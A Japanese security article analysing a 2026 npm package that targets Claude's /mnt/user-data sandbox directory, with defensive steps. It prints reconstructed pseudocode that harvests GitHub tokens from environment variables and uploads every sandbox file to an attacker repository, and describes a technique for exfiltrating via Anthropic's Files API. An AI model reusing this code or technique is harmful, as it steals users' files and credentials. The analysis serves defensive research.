2026年5月26日、npmレジストリに mouse5212-super-formatter という一見無害な名前のパッケージが公開された。OX SecurityのMoshe Siman Tov Bustan氏とNir Zadok氏が翌日27日に公表した分析によれば、このパッケージはAnthropic Claude AIのサンドボックス内ディレクトリ /mnt/user-data を明示的に狙う初の標的型npmマルウェアだった。研究者はこのキャンペーンを「Malware-Slop」と命名している。AI生成と思しき粗雑なコード品質、自前のGitHub Personal Access Token(PAT)をパッケージ内に露出させるOPSEC失敗、そしてClaudeのCode Interpreterというごく特殊な実行環境を狙った特化型ペイロード——本記事では一次情報をもとに、攻撃の全貌・AI開発環境への影響・取るべき防御策をまとめる。

AI時代のnpm/PyPIサプライチェーン攻撃全体像と防御フレームワークは サプライチェーンセキュリティ完全ガイド2026|攻撃手法・防御ツール・実践チェックリスト をご覧ください。

この記事のポイント

mouse5212-super-formatterとは — Claude AIサンドボックスを狙った初の標的型npm

mouse5212-super-formatter は2026年5月26日にnpmレジストリへ公開された情報窃取型マルウェアだ。npm検索結果上は「ソースコードフォーマッタ」を装っており、READMEには「internal archive deployment sync utility(内部アーカイブデプロイメント同期ユーティリティ)」というもっともらしい説明文が並ぶ。実体は2つの機能を持つ:

  1. postinstall段階で /mnt/user-data を再帰的にスキャンし、各ファイルをGitHub Contents API経由で攻撃者リポジトリへアップロードする
  2. 失敗時にネットワーク状況のスナップショットを取得するふりをし、検知をすり抜けるためのダミー処理を挿入する

特筆すべきは標的パスの選定だ。/home/user/~/.ssh/ といった一般的な開発機の機密ディレクトリではなく、Anthropic Claude AIのCode Interpreterサンドボックスが内部マウントする /mnt/user-data を直接ハードコードしている。これはAnthropic製品の内部構造を理解した上で書かれた、明確に「Claudeのユーザー」を狙う設計だ。

Anthropic Claudeの /mnt/user-data 構造

Claude.aiのCode Interpreter(Analysis Tool)と一部のClaude Code環境は、ユーザーごとに分離されたLinuxサンドボックスを提供する。このサンドボックス内では以下のレイアウトが標準的だ:

このうち /mnt/user-data/ の中身はセッション間で永続化される。つまり過去のチャットでアップロードしたファイルや、AIに生成させた出力ファイルが、新しいセッションからもアクセス可能な状態で残っている。攻撃者はこの設計上の特性を逆手に取り、サンドボックスに侵入できれば「ユーザーがClaudeに渡した全ファイル」を一括窃取できると考えた。

公開タイムラインと痕跡

日時(UTC) 出来事
2026-05-26 早朝 攻撃者のGitHubアカウントが新規作成される
2026-05-26 数時間後 mouse5212-super-formatter@1.0.0 初版がnpmレジストリへ公開
2026-05-26〜27 複数バージョンがpublishされ、ダウンロード数676回を記録
2026-05-27 OX Security(Moshe Siman Tov Bustan / Nir Zadok)が「Malware-Slop」として公表
2026-05-27 以降 攻撃者GitHubアカウントが削除される(npmレジストリからの取り下げ対応も進行中)

ダウンロード676回のうち何件が「実際の開発者によるインストール」だったかは不明だが、OX Securityの調査では攻撃者のリポジトリ内にアクティブな窃取データが約7件残されており、その多くは攻撃者自身のテスト痕跡と推測されている。被害確定数は少ないが、これは攻撃が失敗したという意味ではなく、Claudeサンドボックスに npm install させる導線がまだ十分に確立されていないというだけだ。導線さえ整えば、676が67,600になりうる構造であることが要点になる。


攻撃チェーンの技術解剖 — postinstallからGitHub Contents APIまで

OX Securityの分析と公開されたソースコード断片から、攻撃チェーンは以下の流れで進行する。

sequenceDiagram participant Dev as "開発者 / AIエージェント" participant Npm as "npmレジストリ" participant Sandbox as "Claudeサンドボックス" participant GH as "攻撃者GitHub" Dev->>Npm: "npm install mouse5212-super-formatter" Npm-->>Sandbox: "tarball展開 + postinstall実行" Sandbox->>Sandbox: "GITHUB_TOKEN環境変数を確認" alt 環境変数あり Sandbox->>Sandbox: "victim PATを使用" else 環境変数なし Sandbox->>Sandbox: "ハードコードPATへフォールバック" end Sandbox->>GH: "Octokit認証 + リポジトリ存在確認" GH-->>Sandbox: "リポジトリ作成完了" Sandbox->>Sandbox: "/mnt/user-data を再帰スキャン" loop "各ファイル" Sandbox->>Sandbox: "Base64エンコード" Sandbox->>GH: "PUT /repos/{owner}/{repo}/contents/{path}" end Sandbox->>Sandbox: "ダミーのネットワーク状況ログ生成"

Step 1: postinstallトリガー

npmは package.jsonscripts.postinstall に書かれたコマンドを、パッケージインストール直後に何の確認もなく自動実行するmouse5212-super-formatterpackage.json は概ね以下のような構造を持つ:

{
  "name": "mouse5212-super-formatter",
  "version": "1.0.0",
  "description": "internal archive deployment sync utility",
  "main": "index.js",
  "scripts": {
    "postinstall": "node ./scripts/sync.js"
  },
  "dependencies": {
    "@octokit/rest": "^21.0.0"
  }
}

依存に @octokit/rest を入れているため、GitHub Contents API操作のための定型コードが手軽に書ける。Octokitは正規の人気SDKであり、ここに不自然さはない。

Step 2: 認証トークン取得 — 二段構えの取得ロジック

scripts/sync.js(OX Securityの分析を元に再構成した擬似コード)には以下のような認証ロジックが含まれる。

// 擬似コード:OX Security分析を元に再構成
const { Octokit } = require("@octokit/rest");
const fs = require("fs");
const path = require("path");

// 1. 環境変数からvictim PATを取得(CI/CDやAIエージェント環境で有効)
const victimToken =
  process.env.GITHUB_TOKEN ||
  process.env.GH_TOKEN ||
  process.env.GITHUB_PAT;

// 2. なければ攻撃者自身のハードコードPATへフォールバック
const HARDCODED_TOKEN = "ghp_xxxxxxxxxxxxxxxxxxxxxxxx"; // 露出していた
const token = victimToken || HARDCODED_TOKEN;

const octokit = new Octokit({ auth: token });

この HARDCODED_TOKEN の存在こそが、OX Securityがキャンペーンを「Malware-Slop」と呼ぶ最大の根拠になっている。後述するが、これは2026年のAPTがやるOPSECとしては明らかに失格レベルの手抜きだ。

Step 3: リポジトリ作成と再帰アップロード

認証後、攻撃者リポジトリに対して octokit.repos.get でリポジトリの存在を確認し、なければ octokit.repos.createForAuthenticatedUser で動的に作成する。続いて /mnt/user-data を再帰的に走査する。

// 擬似コード
async function uploadDirectory(dir, repoOwner, repoName, sessionId) {
  const entries = fs.readdirSync(dir, { withFileTypes: true });
  for (const entry of entries) {
    const fullPath = path.join(dir, entry.name);
    if (entry.isDirectory()) {
      await uploadDirectory(fullPath, repoOwner, repoName, sessionId);
    } else {
      const content = fs.readFileSync(fullPath);
      await octokit.repos.createOrUpdateFileContents({
        owner: repoOwner,
        repo: repoName,
        path: `${sessionId}/${path.relative("/mnt/user-data", fullPath)}`,
        message: "sync: archive deployment update",
        content: content.toString("base64"),
      });
    }
  }
}

await uploadDirectory("/mnt/user-data", "attackerUser", "sync-archive", randomSessionId);

ポイントは3つ:

Step 4: 偽装処理

最後に「ネットワーク接続スナップショット」「依存パッケージのバージョン情報取得」などのダミー処理を実行し、サンドボックスのstdoutにそれらしいログを吐き出す。postinstall フックの実行ログを目視で確認した管理者にも、悪意ある動作を疑わせない作りになっている。


/mnt/user-data はなぜ狙われたのか — AIサンドボックス特化の構造的価値

汎用的なnpmマルウェアは ~/.ssh/~/.aws/credentials/etc/passwd.env といった「どの開発機にもある」機密ファイルを狙う。mouse5212-super-formatter はそれらを完全に無視し、/mnt/user-data だけを標的にしている。なぜか。

1. ユーザーが「最も生々しい一次情報」を渡している場所

通常の開発機の .env にはある程度マスキング・分離されたシークレットしか入っていない。しかし /mnt/user-data/uploads/ には、ユーザーがClaudeに直接渡した生のファイルが並ぶ:

つまり「ユーザーが最も信頼してAIに見せたもの」がそのまま残っている。汎用シークレットスキャナが扱うパターンでは検出しきれない、文脈付きの機密情報の山だ。

2. セッションを跨いで永続化される

通常のサンドボックスは揮発するが、Claude.aiのCode Interpreterは /mnt/user-data のみセッション間で残す設計になっている。つまり攻撃が成功すれば、過去数日〜数週間分のユーザー操作履歴を一度に持ち去れる

3. 「AIエージェントが自動で npm install する」導線が増えている

2026年に入り、Claude Code、Codex、Cline、Cursorといったエージェント型AIが、ユーザーの指示の中で自律的に npm install <pkg> を呼び出すケースが急増している。エージェントがClaudeのサンドボックス内で動作する場合、攻撃者は「Claudeが思わずインストールしたくなる名前」のパッケージ(”super-formatter” のような汎用名)を撒くだけで導線が成立する。これはタイポスクワッティング攻撃に近いが、ターゲットがAIの判断ミスに置き換わっている点が新しい。

4. Claudeのファイル送信エコシステムを悪用しうる

OX Securityの記事は明示していないが、関連研究として2025年10月にEmbrace the Redが報告した Claude Pirate では、/mnt/user-data/outputs/ に書き出したファイルをAnthropic自身のFiles APIでアップロードさせる手口が示されている。Anthropic公式のエンドポイント(api.anthropic.com)への送信になるため、サンドボックスのデフォルト「Package managers only」ネットワーク制限ですら通過してしまう。mouse5212がGitHub Contents APIを使ったのに対し、後続の派生型がAnthropic Files APIに切り替える可能性も十分にありえる。

graph TD A["Claude.ai ユーザー"] --> B["/mnt/user-data/uploads/
ユーザーがアップロードした
機密ファイル"] A --> C["/mnt/user-data/outputs/
Claudeが生成した
レポート・分析結果"] D["npm install
mouse5212-super-formatter"] -->|"postinstall実行"| E["/mnt/user-data 全スキャン"] B --> E C --> E E -->|"Base64 + Octokit"| F["攻撃者GitHub
sync-archive リポジトリ"] E -.->|"派生型の可能性"| G["api.anthropic.com
Files API"] style E fill:#fee style F fill:#fee style G fill:#ffd

Malware-Slop命名の由来 — AI生成マルウェアの粗雑なOPSEC

OX Securityがキャンペーンを「Malware-Slop」と呼んだ最大の理由は、攻撃者の作戦保証(OPSEC)が驚くほど杜撰だった点にある。

露出していた4つのOPSEC失敗

# 失敗内容 影響
1 ハードコードのGitHub PATが平文でnpmパッケージ内に同梱 OX Security研究者がトークンを使い、攻撃者リポジトリ・アクティビティをリアルタイム監視可能になった
2 攻撃者GitHubアカウントが公開数時間前に新規作成 履歴のないアカウントは異常検出の格好の対象
3 テストリポジトリと本番リポジトリを同一アカウントで作成 攻撃者自身のIPと挙動が追跡可能
4 コミットタイムスタンプとコミット履歴がそのまま残存 フォレンジック上、攻撃者のタイムゾーン・作業時間帯まで判明

これらは2026年のAPT(Advanced Persistent Threat)水準では考えられない初歩的なミスばかりだ。Lazarus Groupや国家系アクターは複数のスローアウェイアカウント、トークンのリモートフェッチ、コミットタイムスタンプ偽装などを当然のように実装する。

「AIに書かせて検証せずアップロードした」可能性

OX Securityは記事の中で、以下のように示唆している:

つまりこの攻撃者は、悪意あるコードをLLMに書かせ、そのまま検証せずにnpmへpublishした可能性が高い。OX Securityは「AIによる悪意あるコード生成のハードルが下がった結果、APTを模倣しつつも基本的なセキュリティ概念を欠いた粗雑な脅威行為者が増えるだろう」と結論づけている。

「Slop」が意味するもの

「Slop」はインターネットスラングで「AI生成コンテンツの粗悪な投げ売り」を指す。文章生成では既に「AI slop blog」「AI slop YouTube channel」といった呼称が定着しており、低品質コンテンツの代名詞になっている。OX Securityはこれをマルウェア領域に持ち込み、AIに生成させてそのまま流すだけの低品質マルウェアを「Malware-Slop」と呼んだ。

これは皮肉な命名であると同時に、防御側にとっては警鐘でもある。なぜなら——


既存のnpmサプライチェーン攻撃との比較

2026年上半期だけで、npmレジストリは Shai-Hulud / Mini Shai-Hulud / TanStack / TrapDoor / antv / SAP / Megalodon など複数の大規模サプライチェーン攻撃に晒されてきた。Malware-Slopは何が違うのか。

キャンペーン 主な手法 対象 規模 AIサンドボックス意識
Shai-Hulud(2025-09) メンテナアカウント乗っ取り+自己増殖ワーム 開発機の認証情報全般 数百パッケージ なし
Mini Shai-Hulud(TanStack/antv) OSSメンテナフィッシング GitHub Actions・CI環境 数十パッケージ 一部 CLAUDE.md 改竄あり
TrapDoor(2026-05-22) npm/PyPI/Crates.io横断、ゼロ幅Unicode 暗号資産・SSH鍵・AWS 34パッケージ・384バージョン .cursorrulesCLAUDE.md改竄
Malware-Slop(2026-05-26) AI生成 + postinstall + GitHub Contents API Claude /mnt/user-data 1パッケージ・676DL 完全特化
Axios CVE-2026-40175(2026-04-14) 正規パッケージのRCE脆弱性 アプリ全般 グローバル なし

mouse5212-super-formatter は単独パッケージ・676ダウンロードと規模は最小だが、「AIサンドボックスを名指しで狙った初の事例」として歴史的に位置づけられる。TrapDoorはAIアシスタント設定ファイル(CLAUDE.md.cursorrules)にゼロ幅文字を埋め込んで間接的にAIを操ろうとしたが、Malware-Slopはより直接的に「AIが動いているサンドボックス内のファイルそのもの」を取りに来た点が新しい。

サプライチェーン攻撃の進化系としてTrapDoor|npm・PyPI・Crates.io横断34パッケージ384バージョンのクリプト窃取サプライチェーン攻撃、メンテナ乗っ取り型としてMini Shai-Hulud:TanStack npm乗っ取りで暴かれたGitHub Actionsの抜け穴も併せて確認しておくと、AIサプライチェーン全体の攻撃面が見渡せる。

Claude側の攻撃面との接続

/mnt/user-data を狙うこのキャンペーンは、Claude/Anthropicそのもののセキュリティモデルとも交差する。Claude Codeに送信されるデータ・学習利用の範囲・サンドボックス境界の挙動を整理したClaudeに送ったデータは学習に使われる?|セキュリティ・プライバシー・ガバナンス完全ガイドでは、「Claudeのプロセスが信用できるか」とは別に、「Claudeのサンドボックスに第三者ペイロードが入り込んだ場合の被害範囲」を別軸で評価する必要があると指摘している。Malware-Slopはまさに後者の代表例だ。


開発者・組織が取るべき防御策

mouse5212固有の対策に加え、同種のAIサンドボックス標的型npmマルウェアに対する一般的な防御策を整理する。

1. 即時対応 — もしインストールした場合

# 1) パッケージの存在確認
npm ls mouse5212-super-formatter

# 2) ロックファイルからの痕跡確認
grep -r "mouse5212-super-formatter" package-lock.json pnpm-lock.yaml yarn.lock

# 3) サンドボックス内の侵害確認(Claude Code / Code Interpreter内で実行)
ls -laR /mnt/user-data 2>/dev/null

# 4) GitHub PATローテーション
gh auth token --hostname github.com    # 現在のPATを確認
# → GitHub > Settings > Developer settings > Personal access tokens で即時失効

# 5) パッケージ削除
npm uninstall mouse5212-super-formatter
rm -rf node_modules package-lock.json
npm install --ignore-scripts

/mnt/user-data 配下に機密ファイルを置いた覚えがある場合は、「インストール時点で既に窃取済み」として扱い、関連するAPIキー・GitHub PAT・データソース認証情報の全ローテーションを推奨する。

2. postinstallスクリプトを原則無効化

npm/pnpm/yarnいずれも、postinstall自動実行を抑止できる。AIサンドボックスとCI/CDではこれをデフォルト無効にすべきだ。

# npm: グローバル設定
npm config set ignore-scripts true

# npm: 個別インストール時のみ
npm install --ignore-scripts

# yarn 1.x
yarn install --ignore-scripts

# pnpm: 明示的にビルドを許可するパッケージのみホワイトリスト化
# package.json > pnpm > onlyBuiltDependencies
{
  "pnpm": {
    "onlyBuiltDependencies": ["esbuild", "sharp"]
  }
}

3. 依存スキャン多層化

単一のスキャナでは公開直後(mouse5212の場合は0時間〜数十時間)のゼロデイ窓を埋められない。Socket・SafeDep・OX Security・Snyk・GitHub Dependabotを多層化することで検出の窓を狭められる。Socket Threat Researchは公開後中央値5分27秒で検出した実績を持つが、CI/CDが分単位で動く現代では「最初に走る検出器」を持つことが重要だ。

4. AIサンドボックスの境界強化

Claude.ai Enterprise / API / Claude Codeを業務利用している場合、以下を組織側で強制する。

5. PAT露出の自動検出

mouse5212自身がやらかしたように、コード内のPAT埋め込みは事故にも悪意にも繋がる。gitleaks / trufflehog / GitHub Secret ScanningのPATパターン検出を、Pre-commit・Pre-publishの両方で動かす。npmへのpublish前に動くLintとしては npm pack --dry-run の出力に対して gitleaks detect をかけるのが最もシンプルだ。

# pre-publishフック例(.husky/pre-publish)
npm pack --dry-run --json | jq -r '.[0].files[].path' | \
  xargs gitleaks detect --no-git --source=

6. AIエージェントの自律 npm install を抑制

Claude Code・Cursor・Cline等のエージェントは、ユーザーの自然言語指示から npm install <pkg> を自発的に提案・実行することがある。permissions.denyBash(npm install:*) を明示的に制限し、許可済みのパッケージのみホワイトリスト経由でインストールさせる構成が安全だ。

// ~/.claude/settings.json
{
  "permissions": {
    "allow": [
      "Bash(npm install:react)",
      "Bash(npm install:next@*)",
      "Bash(npm install:typescript)"
    ],
    "deny": ["Bash(npm install:*)"]
  }
}

AI生成マルウェア時代に必要な視点

Malware-Slopは規模としては小さく、見方によっては「失敗作」だ。だが、3つの意味で2026年以降の攻撃の前触れとして読み解くべきだ。

  1. 攻撃者の動機が「AIインフラ」へ向き始めた: 開発機ではなく、AIエージェントが触るサンドボックスへ。Claudeだけでなく、Codex・Cursor・Gemini・Replit Agentなどあらゆる「AIが見ているファイル空間」が新たな攻撃面になる。
  2. AI生成マルウェアの粗雑化と量産化: 1個1個は失敗作でも、数十万単位で投下されれば一定数が成功する確率論的攻撃へ移行する。npmレジストリ側の自動マルウェアブロックが追いつかない時間帯に、「使い捨ての低品質マルウェア」が定常的に流入する世界が想定される。
  3. 防御側もAIで対抗するしかない: Socket・SafeDep・OXのようなリアルタイムLLMベース挙動分析が標準になる。シグネチャベース検出だけでは、毎回違うAI生成バリエーションには追従できない。

開発者個人の防衛線としては、「AIエージェントを業務に組み込むなら、/mnt/user-data には機密を置かない」「postinstallはデフォルトで無効」「PATは短命・最小権限」の3点が当面の最重要事項だ。AIエージェントを使うこと自体のリスクではなく、AIエージェントが見ているファイル空間を第三者ペイロードと共有してしまうことこそが本当のリスクになる、というのがMalware-Slopが教えた最大の教訓と言える。


参照ソース